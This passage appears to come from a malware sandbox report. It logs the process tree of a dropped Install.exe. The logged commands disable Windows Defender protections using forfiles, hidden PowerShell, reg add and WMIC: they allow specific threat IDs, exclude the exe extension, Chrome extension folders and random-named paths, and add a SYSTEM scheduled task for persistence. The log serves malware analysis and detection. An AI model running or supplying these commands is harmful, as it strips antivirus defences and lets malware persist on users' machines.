        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        7⤵
        
        PID:760
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        8⤵
        
        PID:4076
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        6⤵
        
        PID:5520
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        7⤵
        
        PID:6076
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        8⤵
        
        PID:5748
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        6⤵
        
        PID:4468
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        7⤵
        
        PID:4728
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        8⤵
        
        PID:2600
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        6⤵
        
        PID:2144
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        7⤵
        
        PID:2468
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5192
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        9⤵
        
        PID:4036
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        5⤵
        
        PID:6020
      - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        6⤵
        
        PID:5972
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2184
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:5876
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 05:05:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS308.tmp\Install.exe\" it /TwsdidZWhX 385118 /S" /V1 /F
        5⤵
        Creates scheduled task(s)
        
        PID:6124
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
        5⤵
        
        PID:5172
      - C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        6⤵
        
        PID:5220
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        7⤵
        
        PID:4804

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:4988

C:\Users\Admin\AppData\Local\Temp\7zSECD1.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zSECD1.tmp\Install.exe it /MgedidtRuw 385118 /S
1⤵
PID:1856
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:760
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:3880
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:6044
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:4820
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:1664
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:5920
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:1316
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:5348
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:4844
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:2320
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:4624
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:1476
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:1532
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:1472
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:3340
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5872
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:5268
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:5976
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4384
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:3040
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5916
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3296
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5208
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4844
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4180
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4624
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5984
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4720
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3108
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1884
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:212
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2412
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5608
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3876
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1104
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:208
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6048
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:216
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6032
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3360
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6092
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6008
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5040
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5748
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5600
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4372
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5928
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  PID:5184
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5728
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:5820
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5004
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2376
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2204
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2860
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5172
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5508
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5808
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5740
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3656
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyWMmqtuSNndeGVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5280
- - C:\Windows\SysWOW64\reg.exe
